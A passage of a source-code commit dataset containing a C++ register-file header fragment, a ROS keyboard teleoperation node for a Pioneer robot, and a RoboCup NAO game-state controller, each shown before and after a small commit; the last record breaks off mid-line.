regView[NumFrames];\n\n static const int RegGlobalOffset = 0;\n static const int FrameOffset = (MaxGL + 1) * RegsPerFrame;\n int offset[NumFrames];\n\n public:\n\n int flattenIndex(int reg);\n\n void clear();\n\n IntRegFile();\n\n IntReg readReg(int intReg);\n\n void setReg(int intReg, const IntReg &val);\n\n void serialize(std::ostream &os);\n\n void unserialize(Checkpoint *cp, const std::string §ion);\n\n protected:\n \/\/This doesn't effect the actual CWP register.\n \/\/It's purpose is to adjust the view of the register file\n \/\/to what it would be if CWP = cwp.\n void setCWP(int cwp);\n\n void setGlobals(int gl);\n };\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file keyboard.cpp\n * @date 28.06.2013\n * @author Denise Ratasich\n * \n * @brief ROS node reading from stdin to steer the robot via keyboard.\n *\n * A new speed is only published when a key is pressed. Note reading\n * vom stdin (console) is blocking.\n *\n * - subscribe: none\n * - publish: ~cmd_vel [geometry_msgs\/Twist]\n *\n * parameters\n * - ~pub_period_ms: The publishing period of cmd_vel in ms. Default\n * is set to 500ms.\n *\/\n\n\/\/ c includes (for terminal, threading)\n#include <stdio.h>\n#include <termios.h> \/\/termios, TCSANOW, ECHO, ICANON\n#include <unistd.h> \/\/STDIN_FILENO\n#include <boost\/thread.hpp>\n\n\/\/ ROS includes\n#include \"ros\/ros.h\"\n#include \"geometry_msgs\/Twist.h\"\n\n\/\/ Pioneer includes\n#include \"pioneer3.hpp\"\n\nusing namespace std;\n\n#define MSG_BUFFER_SIZE\t\t\t1\n\n\/\/ Parameters.\nint pub_period_ms = 500;\n\n\/**\n * @brief Guards a twist object and an additional running flag for the\n * keyboard thread, i.e., ensures mutual exclusion of the variables to\n * exchange.\n *\/\nclass MutexedData {\n boost::mutex mtx_;\n geometry_msgs::Twist twist_;\n int running_;\npublic:\n MutexedData() {\n twist_.linear.x = 0;\n twist_.angular.z = 0;\n running_ = 0;\n }\n void setTwist(geometry_msgs::Twist& twist) {\n mtx_.lock();\n twist_.linear.x = twist.linear.x;\n twist_.angular.z = twist.angular.z;\n mtx_.unlock();\n }\n void setTwist(float lin, float ang) {\n mtx_.lock();\n twist_.linear.x = lin;\n twist_.angular.z = ang;\n mtx_.unlock();\n }\n geometry_msgs::Twist getTwist() {\n geometry_msgs::Twist twist;\n mtx_.lock();\n twist.linear.x = twist_.linear.x;\n twist.angular.z = twist_.angular.z;\n mtx_.unlock();\n return twist;\n }\n void setRunning(int running) {\n mtx_.lock();\n running_ = running;\n mtx_.unlock();\n }\n int getRunning() {\n int r;\n mtx_.lock();\n r = running_;\n mtx_.unlock();\n return r;\n }\n};\n\n\/\/ Instantiate the guarded twist object.\nMutexedData mtxData;\n\n\/\/ Forward declarations.\nvoid applyParameters(ros::NodeHandle& n);\nvoid getTwistFromKeyboard();\n\n\/**\n * This node publishes to cmd_vel to steer the robot according to a\n * key pressed in the terminal window this application is running.\n *\/\nint main(int argc, char **argv)\n{\n static struct termios oldt, newt;\n\n \/\/ Disable buffering (till ENTER is pressed) and echo of terminal.\n tcgetattr( STDIN_FILENO, &oldt);\t\t\/\/ get the parameters of the current terminal\n newt = oldt;\n newt.c_lflag &= ~(ICANON | ECHO);\n tcsetattr( STDIN_FILENO, TCSANOW, &newt);\t\/\/ change attributes immediately\n\n \/\/ Initialize for ROS.\n ros::init(argc, argv, \"pioneer_teleop\");\n if (ros::this_node::getNamespace() == \"\/\")\n ROS_WARN(\"Started in the global namespace.\");\n\n \/\/ Create main access point to communicate with the ROS system.\n ros::NodeHandle n(\"~\");\n \n \/\/ Apply parameters from parameter server.\n applyParameters(n);\n\n \/\/ Note, how to terminate this node!\n ROS_WARN(\"This node can only be terminated by pressing 'q'.\");\n\n \/\/ Tell ROS that we want to publish on the topic cmd_vel (for steering the robot).\n ros::Publisher pub_cmdVel = n.advertise < geometry_msgs::Twist > (\"cmd_vel\", MSG_BUFFER_SIZE);\n\n \/\/ Wait a little bit to be sure that the connection is established.\n ros::Duration duration(0.5);\n duration.sleep();\n duration.sec = 0;\n duration.nsec = pub_period_ms * 1e6;\n\n \/\/ Start thread to read from keyboard, updates mtxTwist if a key is\n \/\/ pressed.\n boost::thread keyboardThread(getTwistFromKeyboard);\n mtxData.setRunning(1);\t\/\/ set running flag of the thread\n geometry_msgs::Twist twist;\t\/\/ only local variable\n\n while (ros::ok() && mtxData.getRunning())\n {\n \/\/ Send message.\n twist = mtxData.getTwist();\n pub_cmdVel.publish(twist);\n ROS_DEBUG(\"%.2f m\/s, %.2f degree\", twist.linear.x, twist.angular.z);\n\n \/\/ Handle callbacks if any.\n ros::spinOnce();\n\n \/\/ Timeout.\n duration.sleep();\n }\n\n if (mtxData.getRunning())\n ROS_ERROR(\"Ctrl-C received. Press 'q' to quit the node!\");\n keyboardThread.join();\n\n \/\/ Send \"stop\" for robot.\n twist.linear.x = 0;\n twist.angular.z = 0;\n pub_cmdVel.publish(twist);\n ROS_INFO(\"Robot stopped.\");\n\n \/\/ Close connections.\n pub_cmdVel.shutdown();\n ROS_INFO(\"Closed connection.\");\n\n \/\/ Restore old terminal settings.\n tcsetattr( STDIN_FILENO, TCSANOW, &oldt);\n\n return 0;\n}\n\nvoid applyParameters(ros::NodeHandle& n)\n{\n \/\/ ROS params ---\n if (n.hasParam(\"pub_period_ms\")) {\n n.getParam(\"pub_period_ms\", pub_period_ms);\n ROS_INFO(\"Publishing period set to %d ms.\", pub_period_ms);\n } else {\n ROS_INFO(\"Publishing period set to default %d ms.\", pub_period_ms);\n }\n}\n\n\/**\n * @brief Waits on a key pressed and sets the twist according to this\n * key.\n *\/\nvoid getTwistFromKeyboard()\n{\n float speed_lin = 0;\n float speed_ang = 0;\n char keyPressed;\n bool run = 1;\n\n while(run)\n {\n \/\/cin >> keyPressed;\t\t\/\/ cin cannot read space\n keyPressed = getchar();\t\/\/ blocking!!!\n\n switch (keyPressed)\n {\n case ' ':\t\/\/ space\n \/\/ stop\n speed_lin = 0;\n speed_ang = 0;\n ROS_INFO(\"stop\");\n break;\n case 'a':\n \/\/ left\n if (speed_ang < SPEED_MAX)\n\tspeed_ang += SPEED_STEP;\n break;\n case 'd':\n \/\/ right\n if (speed_ang > -SPEED_MAX)\n\tspeed_ang -= SPEED_STEP;\n break;\n case 's':\n \/\/ backward\n if (speed_lin > -SPEED_MAX)\n\tspeed_lin -= SPEED_STEP;\n\n if (speed_ang != 0) {\n\tspeed_ang = 0;\n\tROS_INFO(\"straight backward\");\n }\n break;\n case 'w':\n \/\/ forward\n if (speed_lin < SPEED_MAX)\n\tspeed_lin += SPEED_STEP;\n\n if (speed_ang != 0) {\n\tspeed_ang = 0;\n\tROS_INFO(\"straight forward\");\n }\n break;\n case 'q':\n \/\/ quit\n ROS_INFO(\"quit\");\n mtxData.setRunning(0);\t\n run = 0;\t\t\t\/\/ leave loop and terminate this thread\n }\n\n mtxData.setTwist(speed_lin * SCALE_TRANSLATION, speed_ang * SCALE_ROTATION);\n }\n}\n<commit_msg>[pioneer_teleop] publish when key pressed (additionally to periodic publishing)<commit_after>\/**\n * @file keyboard.cpp\n * @date 28.06.2013\n * @author Denise Ratasich\n * \n * @brief ROS node reading from stdin to steer the robot via keyboard.\n *\n * A new speed is only published when a key is pressed. Note reading\n * vom stdin (console) is blocking.\n *\n * - subscribe: none\n * - publish: ~cmd_vel [geometry_msgs\/Twist]\n *\n * parameters\n * - ~pub_period_ms: The publishing period of cmd_vel in ms. Default\n * is set to 500ms.\n *\/\n\n\/\/ c includes (for terminal, threading)\n#include <stdio.h>\n#include <termios.h> \/\/termios, TCSANOW, ECHO, ICANON\n#include <unistd.h> \/\/STDIN_FILENO\n#include <boost\/thread.hpp>\n\n\/\/ ROS includes\n#include \"ros\/ros.h\"\n#include \"geometry_msgs\/Twist.h\"\n\n\/\/ Pioneer includes\n#include \"pioneer3.hpp\"\n\nusing namespace std;\n\n#define MSG_BUFFER_SIZE\t\t\t1\n\n\/\/ Parameters.\nint pub_period_ms = 500;\n\n\/**\n * @brief Guards a twist object and an additional running flag for the\n * keyboard thread, i.e., ensures mutual exclusion of the variables to\n * exchange.\n *\/\nclass MutexedData {\n boost::mutex mtx_;\t\t\t\/\/ for mutual exclusion\n geometry_msgs::Twist twist_;\t\t\/\/ the data to send\n ros::Publisher pub_cmdVel_;\t\t\/\/ the publisher (thread is also able to publish)\n int running_;\npublic:\n void init(ros::NodeHandle& n) {\n twist_.linear.x = 0;\n twist_.angular.z = 0;\n pub_cmdVel_ = n.advertise < geometry_msgs::Twist > (\"cmd_vel\", MSG_BUFFER_SIZE);\n running_ = 0;\n }\n void shutdown() {\n pub_cmdVel_.shutdown();\n }\n void setTwist(geometry_msgs::Twist& twist) {\n mtx_.lock();\n twist_.linear.x = twist.linear.x;\n twist_.angular.z = twist.angular.z;\n mtx_.unlock();\n }\n void setTwist(float lin, float ang) {\n mtx_.lock();\n twist_.linear.x = lin;\n twist_.angular.z = ang;\n mtx_.unlock();\n }\n geometry_msgs::Twist getTwist() {\n geometry_msgs::Twist twist;\n mtx_.lock();\n twist.linear.x = twist_.linear.x;\n twist.angular.z = twist_.angular.z;\n mtx_.unlock();\n return twist;\n }\n void publish() {\n mtx_.lock();\n pub_cmdVel_.publish(twist_);\n ROS_DEBUG(\"%.2f m\/s, %.2f degree\", twist_.linear.x, twist_.angular.z);\n mtx_.unlock();\n }\n void publish(float lin, float ang) {\n mtx_.lock();\n twist_.linear.x = lin;\n twist_.angular.z = ang;\n pub_cmdVel_.publish(twist_);\n ROS_DEBUG(\"%.2f m\/s, %.2f degree\", twist_.linear.x, twist_.angular.z);\n mtx_.unlock();\n }\n void setRunning(int running) {\n mtx_.lock();\n running_ = running;\n mtx_.unlock();\n }\n int isRunning() {\n int r;\n mtx_.lock();\n r = running_;\n mtx_.unlock();\n return r;\n }\n};\n\n\/\/ Instantiate the guarded twist object.\nMutexedData mtxData;\n\n\/\/ Forward declarations.\nvoid applyParameters(ros::NodeHandle& n);\nvoid getTwistFromKeyboard();\n\n\/**\n * This node publishes to cmd_vel to steer the robot according to a\n * key pressed in the terminal window this application is running.\n *\/\nint main(int argc, char **argv)\n{\n static struct termios oldt, newt;\n\n \/\/ Disable buffering (till ENTER is pressed) and echo of terminal.\n tcgetattr( STDIN_FILENO, &oldt);\t\t\/\/ get the parameters of the current terminal\n newt = oldt;\n newt.c_lflag &= ~(ICANON | ECHO);\n tcsetattr( STDIN_FILENO, TCSANOW, &newt);\t\/\/ change attributes immediately\n\n \/\/ Initialize for ROS.\n ros::init(argc, argv, \"pioneer_teleop\");\n if (ros::this_node::getNamespace() == \"\/\")\n ROS_WARN(\"Started in the global namespace.\");\n\n \/\/ Create main access point to communicate with the ROS system.\n ros::NodeHandle n(\"~\");\n \n \/\/ Apply parameters from parameter server.\n applyParameters(n);\n\n \/\/ Note, how to terminate this node!\n ROS_WARN(\"This node can only be terminated by pressing 'q'.\");\n\n \/\/ Initialize data and tell ROS that we want to publish on the topic\n \/\/ cmd_vel (for steering the robot).\n mtxData.init(n);\n\n \/\/ Wait a little bit to be sure that the connection is established.\n ros::Duration duration(0.5);\n duration.sleep();\n duration.sec = 0;\n duration.nsec = pub_period_ms * 1e6;\n\n \/\/ Start thread to read from keyboard, updates mtxData if a key is\n \/\/ pressed.\n boost::thread keyboardThread(getTwistFromKeyboard);\n mtxData.setRunning(1);\t\/\/ set running flag of the thread\n\n while (ros::ok() && mtxData.isRunning())\n {\n \/\/ Send message periodically.\n mtxData.publish();\n\n \/\/ Handle callbacks if any.\n ros::spinOnce();\n\n \/\/ Timeout.\n duration.sleep();\n }\n\n if (mtxData.isRunning())\n ROS_ERROR(\"Ctrl-C received. Press 'q' to quit the node!\");\n keyboardThread.join();\n\n \/\/ Send \"stop\" for robot.\n mtxData.publish(0,0);\n ROS_INFO(\"Robot stopped.\");\n\n \/\/ Close connections.\n mtxData.shutdown();\n ROS_INFO(\"Closed connection.\");\n\n \/\/ Restore old terminal settings.\n tcsetattr( STDIN_FILENO, TCSANOW, &oldt);\n\n return 0;\n}\n\n\/**\n * @brief Fetches available params from the parameter server and\n * configures this node.\n *\/\nvoid applyParameters(ros::NodeHandle& n)\n{\n \/\/ ROS params ---\n if (n.hasParam(\"pub_period_ms\")) {\n n.getParam(\"pub_period_ms\", pub_period_ms);\n ROS_INFO(\"Publishing period set to %d ms.\", pub_period_ms);\n } else {\n ROS_INFO(\"Publishing period set to default %d ms.\", pub_period_ms);\n }\n}\n\n\/**\n * @brief Waits on a key pressed and sets the twist according to this\n * key.\n *\/\nvoid getTwistFromKeyboard()\n{\n float speed_lin = 0;\n float speed_ang = 0;\n char keyPressed;\n bool run = 1;\n\n while(run)\n {\n \/\/cin >> keyPressed;\t\t\/\/ cin cannot read space\n keyPressed = getchar();\t\/\/ blocking!!!\n\n switch (keyPressed)\n {\n case ' ':\t\/\/ space\n \/\/ stop\n speed_lin = 0;\n speed_ang = 0;\n ROS_INFO(\"stop\");\n break;\n case 'a':\n \/\/ left\n if (speed_ang < SPEED_MAX)\n\tspeed_ang += SPEED_STEP;\n break;\n case 'd':\n \/\/ right\n if (speed_ang > -SPEED_MAX)\n\tspeed_ang -= SPEED_STEP;\n break;\n case 's':\n \/\/ backward\n if (speed_lin > -SPEED_MAX)\n\tspeed_lin -= SPEED_STEP;\n\n if (speed_ang != 0) {\n\tspeed_ang = 0;\n\tROS_INFO(\"straight backward\");\n }\n break;\n case 'w':\n \/\/ forward\n if (speed_lin < SPEED_MAX)\n\tspeed_lin += SPEED_STEP;\n\n if (speed_ang != 0) {\n\tspeed_ang = 0;\n\tROS_INFO(\"straight forward\");\n }\n break;\n case 'q':\n \/\/ quit\n ROS_INFO(\"quit\");\n mtxData.setRunning(0);\t\n run = 0;\t\t\t\/\/ leave loop and terminate this thread\n }\n\n mtxData.publish(speed_lin * SCALE_TRANSLATION, speed_ang * SCALE_ROTATION);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"GameController.h\"\n\n#include \"Tools\/Debug\/DebugRequest.h\"\n#include <PlatformInterface\/Platform.h>\n\nGameController::GameController()\n : \n lastWhistleCount(0),\n returnMessage(GameReturnData::alive)\n{\n DEBUG_REQUEST_REGISTER(\"gamecontroller:play\", \"force the play state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:penalized\", \"force the penalized state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:initial\", \"force the initial state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:ready\", \"force the ready state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:set\", \"force the set state\", false);\n\n \/\/ TODO: make it parameters?\n \/\/ load values from config\n const Configuration& config = naoth::Platform::getInstance().theConfiguration;\n\n if (config.hasKey(\"player\", \"NumOfPlayer\")) {\n getPlayerInfo().playersPerTeam = config.getInt(\"player\", \"NumOfPlayer\");\n } else {\n std::cerr << \"[GameData] \" << \"No number of players (NumOfPlayers) given\" << std::endl;\n }\n\n if (config.hasKey(\"player\", \"PlayerNumber\")) {\n getPlayerInfo().playerNumber = config.getInt(\"player\", \"PlayerNumber\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No player number (PlayerNumber) given\" << std::endl;\n getPlayerInfo().playerNumber = 3;\n }\n\n if (config.hasKey(\"player\", \"TeamNumber\")) {\n getPlayerInfo().teamNumber = config.getInt(\"player\", \"TeamNumber\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No team number (TeamNumber) given\" << std::endl;\n getPlayerInfo().teamNumber = 0;\n }\n\n if (config.hasKey(\"player\", \"TeamName\")) {\n getPlayerInfo().teamName = config.getString(\"player\", \"TeamName\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No team name (TeamName) given\" << std::endl;\n getPlayerInfo().teamName = \"unknown\";\n }\n\n \/\/ NOTE: default team color is red\n getPlayerInfo().teamColor = GameData::red;\n if (config.hasKey(\"player\", \"TeamColor\"))\n {\n getPlayerInfo().teamColor = GameData::teamColorFromString(config.getString(\"player\", \"TeamColor\"));\n if (getPlayerInfo().teamColor == GameData::unknown_team_color)\n {\n std::cerr << \"[GameData] \" << \"Invalid team color (TeamColor) \\\"\"\n << config.getString(\"player\", \"TeamColor\") << \"\\\" given\" << std::endl;\n }\n } else {\n std::cerr << \"[GameData] \" << \"No team color (TeamColor) given\" << std::endl;\n }\n}\n\nvoid GameController::execute()\n{\n PlayerInfo::RobotState oldRobotState = getPlayerInfo().robotState;\n GameData::TeamColor oldTeamColor = getPlayerInfo().teamColor;\n\n \/\/ try update from the game controller message\n if ( getGameData().valid ) \n {\n \/\/ HACK: needed by SimSpark - overide the player number\n if(getGameData().newPlayerNumber > 0) {\n getPlayerInfo().playerNumber = getGameData().newPlayerNumber;\n }\n\n getPlayerInfo().update(getGameData());\n\n \/\/ reset return message if old message was accepted\n if( returnMessage == GameReturnData::manual_penalise\n && getGameData().getOwnRobotInfo(getPlayerInfo().playerNumber).penalty != GameData::none)\n {\n returnMessage = GameReturnData::alive;\n }\n else if(returnMessage == GameReturnData::manual_unpenalise\n && getGameData().getOwnRobotInfo(getPlayerInfo().playerNumber).penalty == GameData::none)\n {\n returnMessage = GameReturnData::alive;\n }\n }\n \n \/\/ keep the manual penalized state\n if(returnMessage == GameReturnData::manual_penalise) {\n getPlayerInfo().robotState = PlayerInfo::penalized;\n }\n\n handleButtons();\n handleHeadButtons();\n handleDebugRequest(); \n\n \n \/\/ remember the whistle counter before set\n if(getPlayerInfo().robotState == PlayerInfo::ready) {\n lastWhistleCount = getWhistlePercept().counter;\n }\n \/\/ whistle overrides gamecontroller when in set\n else if(getGameData().gameState == GameData::set)\n {\n \/\/ switch from set to play\n if(getWhistlePercept().counter > lastWhistleCount) {\n getPlayerInfo().robotState = PlayerInfo::playing;\n }\n }\n\n\n if( oldRobotState != getPlayerInfo().robotState\n || oldTeamColor != getPlayerInfo().teamColor\n || getPlayerInfo().robotState == PlayerInfo::initial)\n {\n updateLEDs();\n }\n\n \/\/ provide the return message\n getGameReturnData().team = getPlayerInfo().teamNumber;\n getGameReturnData().player = getPlayerInfo().playerNumber;\n getGameReturnData().message = returnMessage;\n} \/\/ end execute\n\n\nvoid GameController::handleDebugRequest()\n{\n PlayerInfo::RobotState debugState = getPlayerInfo().robotState;\n\n DEBUG_REQUEST(\"gamecontroller:initial\",\n debugState = PlayerInfo::initial;\n );\n DEBUG_REQUEST(\"gamecontroller:ready\",\n debugState = PlayerInfo::ready;\n );\n DEBUG_REQUEST(\"gamecontroller:set\",\n debugState = PlayerInfo::set;\n );\n DEBUG_REQUEST(\"gamecontroller:play\",\n debugState = PlayerInfo::playing;\n );\n DEBUG_REQUEST(\"gamecontroller:penalized\",\n debugState = PlayerInfo::penalized;\n );\n\n \/\/ NOTE: same behavior as the button interface\n if(debugState != getPlayerInfo().robotState) {\n getPlayerInfo().robotState = debugState;\n\n \/\/ NOTE: logic is reverted in relation to button interface\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::initial:\n case PlayerInfo::ready:\n case PlayerInfo::set:\n case PlayerInfo::playing:\n case PlayerInfo::finished: \n {\n returnMessage = GameReturnData::manual_unpenalise;\n break;\n }\n case PlayerInfo::penalized:\n {\n returnMessage = GameReturnData::manual_penalise;\n break;\n }\n default:\n ASSERT(false);\n }\n }\n\n} \/\/ end handleDebugRequest\n\n\nvoid GameController::handleButtons()\n{\n if (getButtonState()[ButtonState::Chest] == ButtonEvent::CLICKED)\n {\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::initial:\n case PlayerInfo::ready:\n case PlayerInfo::set:\n case PlayerInfo::playing:\n case PlayerInfo::finished:\n {\n getPlayerInfo().robotState = PlayerInfo::penalized;\n returnMessage = GameReturnData::manual_penalise;\n break;\n }\n case PlayerInfo::penalized:\n {\n getPlayerInfo().robotState = PlayerInfo::playing;\n returnMessage = GameReturnData::manual_unpenalise;\n break;\n }\n default:\n ASSERT(false);\n }\n }\n\n \/\/ re-set team color or kickoff in initial\n if (getPlayerInfo().robotState == PlayerInfo::initial)\n {\n if ( getButtonState()[ButtonState::LeftFoot] == ButtonEvent::PRESSED )\n {\n \/\/ switch team color\n GameData::TeamColor oldColor = getPlayerInfo().teamColor;\n if (oldColor == GameData::blue) {\n getPlayerInfo().teamColor = GameData::red;\n } else if (oldColor == GameData::red) {\n getPlayerInfo().teamColor = GameData::yellow;\n } else if (oldColor == GameData::yellow) {\n getPlayerInfo().teamColor = GameData::black;\n } else if (oldColor == GameData::black) {\n getPlayerInfo().teamColor = GameData::blue;\n } else { \/\/ set to red by default\n getPlayerInfo().teamColor = GameData::red;\n }\n }\n\n if ( getButtonState()[ButtonState::RightFoot] == ButtonEvent::PRESSED )\n {\n \/\/ switch kick off team\n getPlayerInfo().kickoff = !getPlayerInfo().kickoff;\n }\n }\n\n \/\/ go back from penalized to initial both foot bumpers are pressed for more than 1s\n else if (getPlayerInfo().robotState == PlayerInfo::penalized &&\n ( getButtonState()[ButtonState::LeftFoot].isPressed && \n getFrameInfo().getTimeSince(getButtonState()[ButtonState::LeftFoot].timeOfLastEvent) > 1000 )\n &&\n ( getButtonState()[ButtonState::RightFoot].isPressed && \n getFrameInfo().getTimeSince(getButtonState()[ButtonState::RightFoot].timeOfLastEvent) > 1000 )\n )\n {\n getPlayerInfo().robotState = PlayerInfo::initial;\n returnMessage = GameReturnData::manual_unpenalise;\n }\n\n} \/\/ end handleButtons\n\n\nvoid GameController::handleHeadButtons()\n{\n getSoundPlayData().mute = true;\n getSoundPlayData().soundFile = \"\";\n\n\n if( getButtonState().buttons[ButtonState::HeadMiddle] == ButtonEvent::CLICKED\n && getPlayerInfo().robotState == PlayerInfo::initial)\n {\n int playerNumber = getPlayerInfo().playerNumber;\n if(playerNumber <= 9)\n {\n std::stringstream ssWav;\n ssWav << playerNumber;\n ssWav << \".wav\";\n getSoundPlayData().mute = false;\n getSoundPlayData().soundFile = ssWav.str();\n }\n }\n}\n\nvoid GameController::updateLEDs()\n{\n \/\/ reset\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::BLUE] = 0.0;\n\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 0.0;\n\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::RED] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::GREEN] = 0.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::BLUE] = 0.0;\n\n for(unsigned int i=LEDData::HeadFrontLeft0; i <= LEDData::HeadRearRight2; i++)\n {\n getGameControllerLEDRequest().request.theMonoLED[i] = 0.0;\n }\n\n \/\/ show game state in torso\n switch (getPlayerInfo().robotState)\n {\n case PlayerInfo::ready:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::BLUE] = 1.0;\n break;\n case PlayerInfo::set:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 1.0;\n break;\n case PlayerInfo::playing:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::GREEN] = 1.0;\n break;\n case PlayerInfo::penalized:\n getGameControllerLEDRequest().request.theMultiLED[LEDData::ChestButton][LEDData::RED] = 1.0;\n break;\n default:\n break;\n }\n\n \/\/ show team color on left foot\n if (getPlayerInfo().teamColor == GameData::red)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 0.3;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 0.1;\n }\n else if (getPlayerInfo().teamColor == GameData::blue)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::BLUE] = 1.0;\n }\n else if(getPlayerInfo().teamColor == GameData::yellow)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::RED] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootLeft][LEDData::GREEN] = 1.0;\n }\n else if(getPlayerInfo().teamColor == GameData::black)\n {\n \/\/ LED off\n }\n\n \/\/ show kickoff state on right foot and head in initial, ready and set\n if (getPlayerInfo().robotState == PlayerInfo::initial\n || getPlayerInfo().robotState == PlayerInfo::ready\n || getPlayerInfo().robotState == PlayerInfo::set)\n {\n if (getPlayerInfo().kickoff)\n {\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::RED] = 0.7;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::GREEN] = 1.0;\n getGameControllerLEDRequest().request.theMultiLED[LEDData::FootRight][LEDData::BLUE] = 1.0;\n\n for(unsigned int i=LEDData::HeadFrontLeft0; i <= LEDData::HeadRearRight2; i++)\n {\n getGameControllerLEDRequest().request.theMonoLED[i] = 1.0;\n }\n }\n }\n} \/\/ end updateLEDs\n\nGameController::~GameController()\n{\n}\n<commit_msg>trigger finished game state by debug request<commit_after>#include \"GameController.h\"\n\n#include \"Tools\/Debug\/DebugRequest.h\"\n#include <PlatformInterface\/Platform.h>\n\nGameController::GameController()\n : \n lastWhistleCount(0),\n returnMessage(GameReturnData::alive)\n{\n DEBUG_REQUEST_REGISTER(\"gamecontroller:play\", \"force the play state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:penalized\", \"force the penalized state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:initial\", \"force the initial state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:ready\", \"force the ready state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:set\", \"force the set state\", false);\n DEBUG_REQUEST_REGISTER(\"gamecontroller:finished\", \"force the finished state\", false);\n\n \/\/ TODO: make it parameters?\n \/\/ load values from config\n const Configuration& config = naoth::Platform::getInstance().theConfiguration;\n\n if (config.hasKey(\"player\", \"NumOfPlayer\")) {\n getPlayerInfo().playersPerTeam = config.getInt(\"player\", \"NumOfPlayer\");\n } else {\n std::cerr << \"[GameData] \" << \"No number of players (NumOfPlayers) given\" << std::endl;\n }\n\n if (config.hasKey(\"player\", \"PlayerNumber\")) {\n getPlayerInfo().playerNumber = config.getInt(\"player\", \"PlayerNumber\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No player number (PlayerNumber) given\" << std::endl;\n getPlayerInfo().playerNumber = 3;\n }\n\n if (config.hasKey(\"player\", \"TeamNumber\")) {\n getPlayerInfo().teamNumber = config.getInt(\"player\", \"TeamNumber\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No team number (TeamNumber) given\" << std::endl;\n getPlayerInfo().teamNumber = 0;\n }\n\n if (config.hasKey(\"player\", \"TeamName\")) {\n getPlayerInfo().teamName = config.getString(\"player\", \"TeamName\");\n } else {\n std::cerr << \"[PlayerInfo] \" << \"No team name (TeamName) given\" << std::endl;\n getPlayerInfo().teamName = \"unknown\";\n }\n\n \/\/ NOTE: default team color is red\n getPlayerInfo().teamColor = GameData::red;\n if (config.hasKey(\"player\", \"TeamColor\"))\n {\n getPlayerInfo().teamColor = GameData::teamColorFromString(config.getString(\"player\", \"TeamColor\"));\n if (getPlayerInfo().teamColor == GameData::unknown_team_color)\n {\n std::cerr << \"[GameData] \" << \"Invalid team color (TeamColor) \\\"\"\n << config.getString(\"player\", \"TeamColor\") << \"\\\" given\" << std::endl;\n }\n } else {\n std::cerr << \"[GameData] \" << \"No team color (TeamColor) given\" << std::endl;\n }\n}\n\nvoid GameController::execute()\n{\n PlayerInfo::RobotState oldRobotState = getPlayerInfo().robotState;\n GameData::TeamColor oldTeamColor = getPlayerInfo().teamColor;\n\n \/\/ try update from the game controller message\n if ( getGameData().valid ) \n {\n \/\/ HACK: needed by SimSpark - overide the player number\n if(getGameData().newPlayerNumber > 0) {\n getPlayerInfo().playerNumber = getGameData().newPlayerNumber;\n }\n\n getPlayerInfo().update(getGameData());\n\n \/\/ reset return message if old message was accepted\n if( returnMessage == GameReturnData::manual_penalise\n && getGameData().getOwnRobotInfo(getPlayerInfo().playerNumber).penalty != GameData::none)\n {\n returnMessage = GameReturnData::alive;\n }\n else if(returnMessage == GameReturnData::manual_unpenalise\n && getGameData().getOwnRobotInfo(getPlayerInfo().playerNumber).penalty == GameData::none)\n {\n returnMessage = GameReturnData::alive;\n }\n }\n \n \/\/ keep the manual penalized state\n if(returnMessage == GameReturnData::manual_penalise) {\n getPlayerInfo().robotState = PlayerInfo::penalized;\n }\n\n handleButtons();\n handleHeadButtons();\n handleDebugRequest(); \n\n \n \/\/ remember the whistle counter before set\n if(getPlayerInfo().robotState == PlayerInfo::ready) {\n lastWhistleCount = getWhistlePercept().counter;\n }\n \/\/ whistle overrides gamecontroller when in set\n else if(getGameData().gameState == GameData::set)\n {\n \/\/ switch from set to play\n if(getWhistlePercept().counter > lastWhistleCount) {\n getPlayerInfo().robotState = PlayerInfo::playing;\n }\n }\n\n\n if( oldRobotState != getPlayerInfo().robotState\n || oldTeamColor != getPlayerInfo().teamColor\n || getPlayerInfo().robotState == PlayerInfo::initial)\n {\n updateLEDs();\n }\n\n \/\/ provide the return message\n getGameReturnData().team = getPlayerInfo().teamNumber;\n getGameReturnData().player = getPlayerInfo().playerNumber;\n getGameReturnData().message = 